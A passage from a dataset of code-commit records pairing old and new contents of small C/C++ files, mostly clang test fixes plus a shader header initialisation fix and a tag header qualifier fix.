IOT,daniel-k\/RIOT,attdona\/RIOT,gbarnett\/RIOT,alignan\/RIOT,rajma996\/RIOT,centurysys\/RIOT,DipSwitch\/RIOT,robixnai\/RIOT,RIOT-OS\/RIOT,arvindpdmn\/RIOT,miri64\/RIOT,haoyangyu\/RIOT,LudwigOrtmann\/RIOT,lebrush\/RIOT,malosek\/RIOT,gebart\/RIOT,RIOT-OS\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,rfuentess\/RIOT,adjih\/RIOT,changbiao\/RIOT,MonsterCode8000\/RIOT,herrfz\/RIOT,chris-wood\/RIOT,jferreir\/RIOT,jasonatran\/RIOT,zhuoshuguo\/RIOT,cladmi\/RIOT,abkam07\/RIOT,wentaoshang\/RIOT,MarkXYang\/RIOT,abp719\/RIOT,tfar\/RIOT,toonst\/RIOT,patkan\/RIOT,RIOT-OS\/RIOT,kerneltask\/RIOT,l3nko\/RIOT,PSHIVANI\/Riot-Code,jbeyerstedt\/RIOT-OTA-update,Osblouf\/RIOT,changbiao\/RIOT,openkosmosorg\/RIOT,MonsterCode8000\/RIOT,stevenj\/RIOT,syin2\/RIOT,robixnai\/RIOT,tdautc19841202\/RIOT,kushalsingh007\/RIOT,wentaoshang\/RIOT,lazytech-org\/RIOT,rfuentess\/RIOT,binarylemon\/RIOT,daniel-k\/RIOT,ThanhVic\/RIOT,biboc\/RIOT,smlng\/RIOT,ntrtrung\/RIOT,Darredevil\/RIOT,zhuoshuguo\/RIOT,centurysys\/RIOT,ntrtrung\/RIOT,arvindpdmn\/RIOT,asanka-code\/RIOT,ximus\/RIOT,hamilton-mote\/RIOT-OS,chris-wood\/RIOT,kYc0o\/RIOT,brettswann\/RIOT,dkm\/RIOT,automote\/RIOT,latsku\/RIOT,gbarnett\/RIOT,robixnai\/RIOT,kerneltask\/RIOT,jfischer-phytec-iot\/RIOT,d00616\/RIOT,Yonezawa-T2\/RIOT,ntrtrung\/RIOT,PSHIVANI\/Riot-Code,rajma996\/RIOT,cladmi\/RIOT,rajma996\/RIOT,gebart\/RIOT,tfar\/RIOT,jasonatran\/RIOT,PSHIVANI\/Riot-Code,attdona\/RIOT,RBartz\/RIOT,hamilton-mote\/RIOT-OS,lebrush\/RIOT,rfswarm\/RIOT,RubikonAlpha\/RIOT,openkosmosorg\/RIOT,EmuxEvans\/RIOT,avmelnikoff\/RIOT,BytesGalore\/RIOT,kYc0o\/RIOT,roberthartung\/RIOT,asanka-code\/RIOT,RBartz\/RIOT,centurysys\/RIOT,MohmadAyman\/RIOT,LudwigOrtmann\/RIOT,tfar\/RIOT,EmuxEvans\/RIOT,chris-wood\/RIOT,MohmadAyman\/RIOT,dailab\/RIOT,x3ro\/RIOT,kaleb-himes\/RIOT,thiagohd\/RIOT,centurysys\/RIOT,fnack\/RIOT,Ell-i\/RIOT,Lexandro92\/RIOT-CoAP,patkan\/RIOT,kaleb-himes\/RIOT,openkosmosorg\/RIOT,bartfaizoltan\/RIOT,bartfaizoltan\/RIOT,DipSwitch\/RIOT,haoyangyu\/RIOT,RubikonAlpha\/RIOT,daniel-k\/RIOT,katezilla\/RIOT,tfar\/RIOT,smlng\/RIOT,MarkXYang\/RIOT,mziegert\/RIOT,khhhh\/RIOT,luciotorre\/RIOT,MonsterCode8000\/RIOT,abp719\/RIOT,RBartz\/RIOT,x3ro\/RIOT,neumodisch\/RIOT,dailab\/RIOT,gautric\/RIOT,kushalsingh007\/RIOT,adrianghc\/RIOT,MarkXYang\/RIOT,RBartz\/RIOT,Josar\/RIOT,plushvoxel\/RIOT,cladmi\/RIOT,ks156\/RIOT,dhruvvyas90\/RIOT,dhruvvyas90\/RIOT,A-Paul\/RIOT,rfuentess\/RIOT,MohmadAyman\/RIOT,arvindpdmn\/RIOT,mtausig\/RIOT,zhuoshuguo\/RIOT,bartfaizoltan\/RIOT,brettswann\/RIOT,arvindpdmn\/RIOT,syin2\/RIOT,syin2\/RIOT,marcosalm\/RIOT,gebart\/RIOT,aeneby\/RIOT,adrianghc\/RIOT,RBartz\/RIOT,gbarnett\/RIOT,stevenj\/RIOT,beurdouche\/RIOT,Josar\/RIOT,koenning\/RIOT,rfswarm\/RIOT,watr-li\/RIOT,kaleb-himes\/RIOT,aeneby\/RIOT,l3nko\/RIOT,MohmadAyman\/RIOT,RIOT-OS\/RIOT,Yonezawa-T2\/RIOT,ks156\/RIOT,neumodisch\/RIOT,jremmert-phytec-iot\/RIOT,Darredevil\/RIOT,OTAkeys\/RIOT,luciotorre\/RIOT,benoit-canet\/RIOT,LudwigKnuepfer\/RIOT,LudwigOrtmann\/RIOT,sumanpanchal\/RIOT,haoyangyu\/RIOT,authmillenon\/RIOT,lazytech-org\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,automote\/RIOT,patkan\/RIOT,msolters\/RIOT,alignan\/RIOT,neiljay\/RIOT,TobiasFredersdorf\/RIOT,miri64\/RIOT,jremmert-phytec-iot\/RIOT,asanka-code\/RIOT,JensErdmann\/RIOT,thiagohd\/RIOT,tdautc19841202\/RIOT,Darredevil\/RIOT,watr-li\/RIOT,bartfaizoltan\/RIOT,dkm\/RIOT,MohmadAyman\/RIOT,FrancescoErmini\/RIOT,beurdouche\/RIOT,dailab\/RIOT,LudwigOrtmann\/RIOT,sgso\/RIOT,authmillenon\/RIOT,beurdouche\/RIOT,ximus\/RIOT,authmillenon\/RIOT,gautric\/RIOT,Hyungsin\/RIOT-OS,rakendrathapa\/RIOT,tdautc19841202\/RIOT,MohmadAyman\/RIOT,koenning\/RIOT,khhhh\/RIOT,gebart\/RIOT,marcosalm\/RIOT,brettswann\/RIOT,jasonatran\/RIOT,x3ro\/RIOT,watr-li\/RIOT,marcosalm\/RIOT,alex1818\/RIOT,smlng\/RIOT,RIOT-OS\/RIOT,ant9000\/RIOT,OTAkeys\/RIOT,kbumsik\/RIOT,DipSwitch\/RIOT,beurdouche\/RIOT,shady33\/RIOT,FrancescoErmini\/RIOT,mziegert\/RIOT,d00616\/RIOT,backenklee\/RIOT,Josar\/RIOT,marcosalm\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,rfuentess\/RIOT,kerneltask\/RIOT,openkosmosorg\/RIOT,changbiao\/RIOT,ThanhVic\/RIOT,rakendrathapa\/RIOT,mfrey\/RIOT,RBartz\/RIOT,LudwigOrtmann\/RIOT,Lexandro92\/RIOT-CoAP,wentaoshang\/RIOT,kushalsingh007\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,RubikonAlpha\/RIOT,zhuoshuguo\/RIOT,asanka-code\/RIOT,l3nko\/RIOT,kushalsingh007\/RIOT,JensErdmann\/RIOT,koenning\/RIOT,adjih\/RIOT,fnack\/RIOT,kaspar030\/RIOT,hamilton-mote\/RIOT-OS,jasonatran\/RIOT,A-Paul\/RIOT,daniel-k\/RIOT,benoit-canet\/RIOT,EmuxEvans\/RIOT,kushalsingh007\/RIOT,l3nko\/RIOT,ant9000\/RIOT,aeneby\/RIOT,ximus\/RIOT,JensErdmann\/RIOT,benoit-canet\/RIOT,haoyangyu\/RIOT,changbiao\/RIOT,FrancescoErmini\/RIOT,kerneltask\/RIOT,d00616\/RIOT,biboc\/RIOT,kb2ma\/RIOT,kbumsik\/RIOT,jfischer-phytec-iot\/RIOT,dailab\/RIOT,EmuxEvans\/RIOT,kYc0o\/RIOT,binarylemon\/RIOT,haoyangyu\/RIOT,Josar\/RIOT,roberthartung\/RIOT,daniel-k\/RIOT,alignan\/RIOT,dhruvvyas90\/RIOT,neumodisch\/RIOT,kaleb-himes\/RIOT,luciotorre\/RIOT,rakendrathapa\/RIOT,rajma996\/RIOT,immesys\/RiSyn,basilfx\/RIOT,TobiasFredersdorf\/RIOT,mziegert\/RIOT,Ell-i\/RIOT,arvindpdmn\/RIOT,mfrey\/RIOT,sumanpanchal\/RIOT,binarylemon\/RIOT,lebrush\/RIOT,josephnoir\/RIOT,Osblouf\/RIOT,cladmi\/RIOT,TobiasFredersdorf\/RIOT,Hyungsin\/RIOT-OS,jfischer-phytec-iot\/RIOT,binarylemon\/RIOT,sgso\/RIOT,RubikonAlpha\/RIOT,gautric\/RIOT,patkan\/RIOT,centurysys\/RIOT,MarkXYang\/RIOT,patkan\/RIOT,ntrtrung\/RIOT,brettswann\/RIOT,yogo1212\/RIOT,jferreir\/RIOT,LudwigOrtmann\/RIOT,jfischer-phytec-iot\/RIOT,miri64\/RIOT,DipSwitch\/RIOT,herrfz\/RIOT,binarylemon\/RIOT,marcosalm\/RIOT,lebrush\/RIOT,kbumsik\/RIOT,shady33\/RIOT,stevenj\/RIOT,Hyungsin\/RIOT-OS,shady33\/RIOT,asanka-code\/RIOT,syin2\/RIOT,ntrtrung\/RIOT,Yonezawa-T2\/RIOT,gbarnett\/RIOT,mtausig\/RIOT,JensErdmann\/RIOT,malosek\/RIOT,shady33\/RIOT,watr-li\/RIOT,benoit-canet\/RIOT,rakendrathapa\/RIOT,koenning\/RIOT,josephnoir\/RIOT,mziegert\/RIOT,backenklee\/RIOT,sgso\/RIOT,tdautc19841202\/RIOT,ant9000\/RIOT,stevenj\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,immesys\/RiSyn,FrancescoErmini\/RIOT,ximus\/RIOT,ThanhVic\/RIOT,ks156\/RIOT,PSHIVANI\/Riot-Code,herrfz\/RIOT,backenklee\/RIOT,openkosmosorg\/RIOT,sgso\/RIOT,neiljay\/RIOT,chris-wood\/RIOT,latsku\/RIOT,plushvoxel\/RIOT,OlegHahm\/RIOT,MonsterCode8000\/RIOT,jferreir\/RIOT,Darredevil\/RIOT,l3nko\/RIOT,koenning\/RIOT,Lexandro92\/RIOT-CoAP,roberthartung\/RIOT,authmillenon\/RIOT,dhruvvyas90\/RIOT,abkam07\/RIOT,MarkXYang\/RIOT,Darredevil\/RIOT,RubikonAlpha\/RIOT,x3ro\/RIOT,yogo1212\/RIOT,ant9000\/RIOT,smlng\/RIOT,sgso\/RIOT,phiros\/RIOT,Yonezawa-T2\/RIOT,kb2ma\/RIOT,fnack\/RIOT,cladmi\/RIOT,rousselk\/RIOT,khhhh\/RIOT,neiljay\/RIOT,BytesGalore\/RIOT,daniel-k\/RIOT,authmillenon\/RIOT,bartfaizoltan\/RIOT,patkan\/RIOT,automote\/RIOT,Lexandro92\/RIOT-CoAP,jbeyerstedt\/RIOT-OTA-update,ThanhVic\/RIOT,mtausig\/RIOT,mtausig\/RIOT,adjih\/RIOT,OlegHahm\/RIOT,ks156\/RIOT,herrfz\/RIOT,smlng\/RIOT,altairpearl\/RIOT,abkam07\/RIOT,alex1818\/RIOT,jferreir\/RIOT,jbeyerstedt\/RIOT-OTA-update,neiljay\/RIOT,attdona\/RIOT,neumodisch\/RIOT,benoit-canet\/RIOT,kaspar030\/RIOT,yogo1212\/RIOT,arvindpdmn\/RIOT,sumanpanchal\/RIOT,Yonezawa-T2\/RIOT,toonst\/RIOT,watr-li\/RIOT,gbarnett\/RIOT,immesys\/RiSyn,alex1818\/RIOT,Ell-i\/RIOT,OlegHahm\/RIOT,ntrtrung\/RIOT,ximus\/RIOT,dhruvvyas90\/RIOT,thiagohd\/RIOT,roberthartung\/RIOT,Lexandro92\/RIOT-CoAP,dhruvvyas90\/RIOT,rousselk\/RIOT,tdautc19841202\/RIOT,EmuxEvans\/RIOT,plushvoxel\/RIOT,stevenj\/RIOT,phiros\/RIOT,OTAkeys\/RIOT,kaspar030\/RIOT,latsku\/RIOT,MonsterCode8000\/RIOT,attdona\/RIOT,malosek\/RIOT,dkm\/RIOT,LudwigKnuepfer\/RIOT,katezilla\/RIOT,authmillenon\/RIOT,rousselk\/RIOT,rousselk\/RIOT,haoyangyu\/RIOT,jferreir\/RIOT,zhuoshuguo\/RIOT,biboc\/RIOT,kushalsingh007\/RIOT,FrancescoErmini\/RIOT,kbumsik\/RIOT,katezilla\/RIOT,robixnai\/RIOT,koenning\/RIOT,plushvoxel\/RIOT,robixnai\/RIOT,mziegert\/RIOT,jbeyerstedt\/RIOT-OTA-update,mfrey\/RIOT,jasonatran\/RIOT,katezilla\/RIOT,changbiao\/RIOT,luciotorre\/RIOT,roberthartung\/RIOT,sumanpanchal\/RIOT,alignan\/RIOT,miri64\/RIOT,luciotorre\/RIOT,hamilton-mote\/RIOT-OS,backenklee\/RIOT,thomaseichinger\/RIOT,kerneltask\/RIOT,adrianghc\/RIOT,centurysys\/RIOT,khhhh\/RIOT,jfischer-phytec-iot\/RIOT,DipSwitch\/RIOT,alex1818\/RIOT,A-Paul\/RIOT,khhhh\/RIOT,thiagohd\/RIOT,benoit-canet\/RIOT,khhhh\/RIOT,rfswarm\/RIOT,Hyungsin\/RIOT-OS,thomaseichinger\/RIOT,marcosalm\/RIOT,attdona\/RIOT,lazytech-org\/RIOT,altairpearl\/RIOT,immesys\/RiSyn,l3nko\/RIOT,alignan\/RIOT,d00616\/RIOT,kbumsik\/RIOT,d00616\/RIOT,OlegHahm\/RIOT,zhuoshuguo\/RIOT,gebart\/RIOT,dkm\/RIOT,ThanhVic\/RIOT,lebrush\/RIOT,fnack\/RIOT,dkm\/RIOT,malosek\/RIOT,altairpearl\/RIOT,rfswarm\/RIOT,Hyungsin\/RIOT-OS,TobiasFredersdorf\/RIOT,josephnoir\/RIOT,abp719\/RIOT,kaleb-himes\/RIOT,aeneby\/RIOT,openkosmosorg\/RIOT,ximus\/RIOT,Lexandro92\/RIOT-CoAP,yogo1212\/RIOT,jbeyerstedt\/RIOT-OTA-update,neumodisch\/RIOT,rajma996\/RIOT,automote\/RIOT,backenklee\/RIOT,immesys\/RiSyn,TobiasFredersdorf\/RIOT,OTAkeys\/RIOT,hamilton-mote\/RIOT-OS,alex1818\/RIOT,BytesGalore\/RIOT,Osblouf\/RIOT,Osblouf\/RIOT,mfrey\/RIOT,phiros\/RIOT,PSHIVANI\/Riot-Code,latsku\/RIOT,avmelnikoff\/RIOT,toonst\/RIOT,automote\/RIOT,LudwigKnuepfer\/RIOT,rfswarm\/RIOT,A-Paul\/RIOT,biboc\/RIOT,JensErdmann\/RIOT,thomaseichinger\/RIOT,rfuentess\/RIOT,biboc\/RIOT,rakendrathapa\/RIOT,luciotorre\/RIOT,herrfz\/RIOT,latsku\/RIOT,avmelnikoff\/RIOT,LudwigKnuepfer\/RIOT,thiagohd\/RIOT,josephnoir\/RIOT,FrancescoErmini\/RIOT,phiros\/RIOT,rousselk\/RIOT,katezilla\/RIOT,abp719\/RIOT,Josar\/RIOT,kYc0o\/RIOT,tdautc19841202\/RIOT,chris-wood\/RIOT,robixnai\/RIOT,Osblouf\/RIOT,changbiao\/RIOT,shady33\/RIOT,BytesGalore\/RIOT,kb2ma\/RIOT,avmelnikoff\/RIOT,attdona\/RIOT,MonsterCode8000\/RIOT,lebrush\/RIOT,thiagohd\/RIOT,abkam07\/RIOT,kYc0o\/RIOT,msolters\/RIOT,abkam07\/RIOT,wentaoshang\/RIOT,mziegert\/RIOT,lazytech-org\/RIOT,basilfx\/RIOT,fnack\/RIOT,A-Paul\/RIOT,kb2ma\/RIOT,chris-wood\/RIOT,adrianghc\/RIOT,latsku\/RIOT,x3ro\/RIOT,d00616\/RIOT,JensErdmann\/RIOT,altairpearl\/RIOT,gautric\/RIOT,OTAkeys\/RIOT,rousselk\/RIOT,altairpearl\/RIOT"}
{"commit":"fb75b2583eb82dc42cb8e5bd3c1eda1c661eb76d","old_file":"test\/Analysis\/array-struct.c","new_file":"test\/Analysis\/array-struct.c","old_contents":"\/\/ RUN: clang -checker-simple -verify %s &&\n\/\/ RUN: clang -checker-simple -analyzer-store-region -verify %s\n\nstruct s {\n  int data;\n  int data_array[10];\n};\n\ntypedef struct {\n  int data;\n} STYPE;\n\nvoid g1(struct s* p);\n\nvoid f(void) {\n  int a[10];\n  int (*p)[10];\n  p = &a;\n  (*p)[3] = 1;\n  \n  struct s d;\n  struct s *q;\n  q = &d;\n  q->data = 3;\n  d.data_array[9] = 17;\n}\n\nvoid f2() {\n  char *p = \"\/usr\/local\";\n  char (*q)[4];\n  q = &\"abc\";\n}\n\nvoid f3() {\n  STYPE s;\n}\n\nvoid f4() {\n  int a[] = { 1, 2, 3};\n  int b[3] = { 1, 2 };\n}\n\nvoid f5() {\n  struct s data;\n  g1(&data);\n}\n\nvoid f6() {\n  char *p;\n  p = __builtin_alloca(10); \n  p[1] = 'a';\n}\n","new_contents":"\/\/ RUN: clang -checker-simple -verify %s &&\n\/\/ RUN: clang -checker-simple -analyzer-store-region -verify %s\n\nstruct s {\n  int data;\n  int data_array[10];\n};\n\ntypedef struct {\n  int data;\n} STYPE;\n\nvoid g1(struct s* p);\n\nvoid f(void) {\n  int a[10];\n  int (*p)[10];\n  p = &a;\n  (*p)[3] = 1;\n  \n  struct s d;\n  struct s *q;\n  q = &d;\n  q->data = 3;\n  d.data_array[9] = 17;\n}\n\nvoid f2() {\n  char *p = \"\/usr\/local\";\n  char (*q)[4];\n  q = &\"abc\";\n}\n\nvoid f3() {\n  STYPE s;\n}\n\nvoid f4() {\n  int a[] = { 1, 2, 3};\n  int b[3] = { 1, 2 };\n}\n\nvoid f5() {\n  struct s data;\n  g1(&data);\n}\n\nvoid f6() {\n  char *p;\n  p = __builtin_alloca(10); \n  p[1] = 'a';\n}\n\nstruct s2;\n\nvoid g2(struct s2 *p);\n\nvoid f7() {\n  struct s2 *p = __builtin_alloca(10);\n  g2(p);\n}\n","subject":"Add test for incomplete struct pointer.","message":"Add test for incomplete struct pointer.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@59236 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"39332e3e060035ac6f4660a4e650ffb4b8da1c3c","old_file":"test\/CodeGen\/dbg-const-int128.c","new_file":"test\/CodeGen\/dbg-const-int128.c","old_contents":"\/\/ RUN: %clang_cc1 -S -emit-llvm -debug-info-kind=limited  %s -o - | FileCheck %s\n\/\/ CHECK: !DIGlobalVariable({{.*}}\n\/\/ CHECK-NOT: expr:\n\nstatic const __uint128_t ro = 18446744073709551615;\n\nvoid bar(__uint128_t);\nvoid foo() { bar(ro); }\n","new_contents":"\/\/ RUN: %clang_cc1 -triple x86_64-unknown-linux -S -emit-llvm -debug-info-kind=limited  %s -o - | FileCheck %s\n\/\/ CHECK: !DIGlobalVariable({{.*}}\n\/\/ CHECK-NOT: expr:\n\nstatic const __uint128_t ro = 18446744073709551615;\n\nvoid bar(__uint128_t);\nvoid foo() { bar(ro); }\n","subject":"Add explicit triple to test to fix arm bots.","message":"Add explicit triple to test to fix arm bots.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@290008 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"527e5429989782aef5411a18bf01cc9b4170fde1","old_file":"test\/Parser\/pointer_promotion.c","new_file":"test\/Parser\/pointer_promotion.c","old_contents":"\/\/ RUN: clang-cc -fsyntax-only -verify %s\n\nint test() {\n  void *vp;\n  int *ip;\n  char *cp;\n  struct foo *fp;\n  struct bar *bp;\n  short sint = 7;\n\n  if (ip < cp) {} \/\/ expected-warning {{comparison of distinct pointer types ('int *' and 'char *')}}\n  if (cp < fp) {} \/\/ expected-warning {{comparison of distinct pointer types ('char *' and 'struct foo *')}}\n  if (fp < bp) {} \/\/ expected-warning {{comparison of distinct pointer types ('struct foo *' and 'struct bar *')}}\n  if (ip < 7) {} \/\/ expected-warning {{comparison between pointer and integer ('int *' and 'int')}}\n  if (sint < ip) {} \/\/ expected-warning {{comparison between pointer and integer ('int' and 'int *')}}\n  if (ip == cp) {} \/\/ expected-warning {{comparison of distinct pointer types ('int *' and 'char *')}}\n}\n\n","new_contents":"\/\/ RUN: clang-cc -fsyntax-only -verify %s\n\nvoid test() {\n  void *vp;\n  int *ip;\n  char *cp;\n  struct foo *fp;\n  struct bar *bp;\n  short sint = 7;\n\n  if (ip < cp) {} \/\/ expected-warning {{comparison of distinct pointer types ('int *' and 'char *')}}\n  if (cp < fp) {} \/\/ expected-warning {{comparison of distinct pointer types ('char *' and 'struct foo *')}}\n  if (fp < bp) {} \/\/ expected-warning {{comparison of distinct pointer types ('struct foo *' and 'struct bar *')}}\n  if (ip < 7) {} \/\/ expected-warning {{comparison between pointer and integer ('int *' and 'int')}}\n  if (sint < ip) {} \/\/ expected-warning {{comparison between pointer and integer ('int' and 'int *')}}\n  if (ip == cp) {} \/\/ expected-warning {{comparison of distinct pointer types ('int *' and 'char *')}}\n}\n","subject":"Fix test case, which has a control-reaches-end-of-non-void warning that was being masked by previous bug.","message":"Fix test case, which has a control-reaches-end-of-non-void warning that was\nbeing masked by previous bug.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@76858 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"ecf7875cffe04ce141d81c58ca296f2a3f813a6b","old_file":"src\/gfx\/gfxShader.h","new_file":"src\/gfx\/gfxShader.h","old_contents":"\/* vim: set ts=4 sw=4 tw=79 et :*\/\n\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n#ifndef gfxShader_h__\n#define gfxShader_h__\n\n#include \"GL\/glew.h\"\n\nclass OpenGLShader {\n    public:\n\n        \/\/\/ The OpenGL Resource ID\n        GLuint mGLResource;\n\n        \/\/\/ True if the shader compiled successfully\n        bool mSuccessfullyCompiled;\n\n        OpenGLShader(const char* aShaderSource, GLenum aShaderType) :\n            mSuccessfullyCompiled(false),\n            mShaderSource(aShaderSource),\n            mShaderType(aShaderType) {\n        }\n\n        ~OpenGLShader() {\n            if (mGLResource) {\n                glDeleteShader(mGLResource);\n            }\n        }\n\n        bool compile();\n    private:\n        const char* mShaderSource;\n        GLenum mShaderType;\n};\n#endif\n\n","new_contents":"\/* vim: set ts=4 sw=4 tw=79 et :*\/\n\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n#ifndef gfxShader_h__\n#define gfxShader_h__\n\n#include \"GL\/glew.h\"\n\nclass OpenGLShader {\n    public:\n\n        \/\/\/ The OpenGL Resource ID\n        GLuint mGLResource;\n\n        \/\/\/ True if the shader compiled successfully\n        bool mSuccessfullyCompiled;\n\n        OpenGLShader(const char* aShaderSource, GLenum aShaderType) :\n            mSuccessfullyCompiled(false),\n            mShaderSource(aShaderSource),\n            mShaderType(aShaderType),\n\t\t\tmGLResource(0) {\n        }\n\n        ~OpenGLShader() {\n            if (mGLResource) {\n                glDeleteShader(mGLResource);\n            }\n        }\n\n        bool compile();\n    private:\n        const char* mShaderSource;\n        GLenum mShaderType;\n};\n#endif\n\n","subject":"Make sure the memory is zero when initialising. This caused failing tests on Windows where mGLResource would already be populated with random stuff.","message":"Make sure the memory is zero when initialising.  This caused failing tests on Windows where mGLResource would already be populated with random stuff.\n","lang":"C","license":"mpl-2.0","repos":"samgiles\/grapl,samgiles\/grapl,samgiles\/grapl"}
{"commit":"fcec57fd225fb2fa84e2dd351d7fdebe78945738","old_file":"src\/models\/tag.h","new_file":"src\/models\/tag.h","old_contents":"#ifndef TAG_H\n#define TAG_H\n\n#include <QString>\n#include <QStringList>\n#include \"favorite.h\"\n#include \"profile.h\"\n\n\nclass Tag\n{\n\tpublic:\n\t\tTag();\n\t\texplicit Tag(QString text, QString type = \"unknown\", int count = 1, QStringList related = QStringList());\n\t\t~Tag();\n\t\tstatic Tag FromCapture(QStringList caps, QStringList order = QStringList());\n\t\tstatic QList<Tag> Tag::FromRegexp(QString rx, QStringList order, const QString &source);\n\t\tQString stylished(Profile *profile, QStringList ignored = QStringList(), QStringList blacklisted = QStringList(), bool count = false, bool nounderscores = false) const;\n\t\tvoid setText(QString);\n\t\tvoid setType(QString);\n\t\tvoid setCount(int);\n\t\tvoid setRelated(QStringList);\n\t\tQString\t\ttext()\t\tconst;\n\t\tQString\t\ttype()\t\tconst;\n\t\tint\t\t\tshortType()\tconst;\n\t\tint\t\t\tcount()\t\tconst;\n\t\tQStringList\trelated()\tconst;\n\t\tQString\t\ttypedText()\tconst;\n\n\tprivate:\n\t\tQString\t\tm_text, m_type;\n\t\tint\t\t\tm_count;\n\t\tQStringList\tm_related;\n};\n\nbool sortByFrequency(Tag, Tag);\nbool operator==(const Tag &t1, const Tag &t2);\n\nQ_DECLARE_METATYPE(Tag)\n\n#endif \/\/ TAG_H\n","new_contents":"#ifndef TAG_H\n#define TAG_H\n\n#include <QString>\n#include <QStringList>\n#include \"favorite.h\"\n#include \"profile.h\"\n\n\nclass Tag\n{\n\tpublic:\n\t\tTag();\n\t\texplicit Tag(QString text, QString type = \"unknown\", int count = 1, QStringList related = QStringList());\n\t\t~Tag();\n\t\tstatic Tag FromCapture(QStringList caps, QStringList order = QStringList());\n\t\tstatic QList<Tag> FromRegexp(QString rx, QStringList order, const QString &source);\n\t\tQString stylished(Profile *profile, QStringList ignored = QStringList(), QStringList blacklisted = QStringList(), bool count = false, bool nounderscores = false) const;\n\t\tvoid setText(QString);\n\t\tvoid setType(QString);\n\t\tvoid setCount(int);\n\t\tvoid setRelated(QStringList);\n\t\tQString\t\ttext()\t\tconst;\n\t\tQString\t\ttype()\t\tconst;\n\t\tint\t\t\tshortType()\tconst;\n\t\tint\t\t\tcount()\t\tconst;\n\t\tQStringList\trelated()\tconst;\n\t\tQString\t\ttypedText()\tconst;\n\n\tprivate:\n\t\tQString\t\tm_text, m_type;\n\t\tint\t\t\tm_count;\n\t\tQStringList\tm_related;\n};\n\nbool sortByFrequency(Tag, Tag);\nbool operator==(const Tag &t1, const Tag &t2);\n\nQ_DECLARE_METATYPE(Tag)\n\n#endif \/\/ TAG_H\n","subject":"Fix extra qualifier on Tag.FromRegexp breaking build","message":"Fix extra qualifier on Tag.FromRegexp breaking build\n","lang":"C","license":"apache-2.0","repos":"Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber,YoukaiCat\/imgbrd-grabber,Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber,YoukaiCat\/imgbrd-grabber"}
{"commit":"cb3194f6aec438049fffe055fae64cfa21c31732","old_file":"test\/CodeGen\/2009-02-13-zerosize-union-field-ppc.c","new_file":"test\/CodeGen\/2009-02-13-zerosize-union-field-ppc.c","old_contents":"\/\/ RUN: %clang_cc1 %s -m32 -emit-llvm -o - | grep {i32 32} | count 3\n\/\/ XFAIL: *\n\/\/ XTARGET: powerpc\n\/\/  Every printf has 'i32 0' for the GEP of the string; no point counting those.\ntypedef unsigned int Foo __attribute__((aligned(32)));\ntypedef union{Foo:0;}a;\ntypedef union{int x; Foo:0;}b;\nextern int printf(const char*, ...);\nmain() {\n  printf(\"%ld\\n\", sizeof(a));\n  printf(\"%ld\\n\", __alignof__(a));\n  printf(\"%ld\\n\", sizeof(b));\n  printf(\"%ld\\n\", __alignof__(b));\n}\n","new_contents":"\/\/ RUN: %clang_cc1 %s -triple powerpc-pc-linux -emit-llvm -o - | grep {i32 32} | count 3\n\/\/ XFAIL: *\n\/\/  Every printf has 'i32 0' for the GEP of the string; no point counting those.\ntypedef unsigned int Foo __attribute__((aligned(32)));\ntypedef union{Foo:0;}a;\ntypedef union{int x; Foo:0;}b;\nextern int printf(const char*, ...);\nmain() {\n  printf(\"%ld\\n\", sizeof(a));\n  printf(\"%ld\\n\", __alignof__(a));\n  printf(\"%ld\\n\", sizeof(b));\n  printf(\"%ld\\n\", __alignof__(b));\n}\n","subject":"Fix test so that it XFAILs consistently.","message":"Fix test so that it XFAILs consistently.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@143771 